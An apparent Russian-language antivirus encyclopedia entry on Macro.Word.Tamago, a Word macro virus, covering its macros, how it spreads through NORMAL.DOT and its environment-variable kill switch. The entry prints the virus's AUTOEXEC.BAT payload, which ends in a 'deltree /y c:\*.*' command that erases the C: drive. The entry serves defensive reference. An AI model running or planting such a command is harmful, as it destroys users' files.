Энциклопедия компьютерных вирусов

         

Macro.Word.Tamago


Содержит семь макросов:

Документы NORMAL.DOT AutoOp AutoOpen AutoExec AutoExec AutoClose AutoClose UtilMacro UtilMacro FerramMacro FerramMacro ArquivoModelos ArquivoModelos ArquivoSalvarComo ArquivoSalvarComo

Заражает систему при закрытии документов, а документы при открытии файлов и их сохранении с другим именем. В вирусе встроен блокировщик размножения (защита для автора вируса?) : если в Environment имеется строка "TAMAGOXI=GMS", то вирус не размножается и выдает MessageBox:

(sLeEp ModE) TaMaGoXI bY WiZaRD: EtERnAl LoVE 2 mY LitTlE gIrL Gi

26 числа записывает в C:\AUTOEXEC.BAT команды, которые при перезагрузке выводят сообщение и удалят все файлы на диске C:

@echo off cls echo. echo. echo. echo SaLamA'S CoRP - AlL lEfTS ReSerVeD - 1997 echo TaMaGoXI bY WiZaRD*** echo *** echo * echo * echo ************* echo * * echo * **** **** * echo * * echo * ***** * echo *************** echo. echo eXPecT nO MeRcY FRoM HiM echo. echo. echo File' not found: Serve Alcatara Mane'? (S/N) echo. echo. deltree /y c:\*.* >nul



Содержание раздела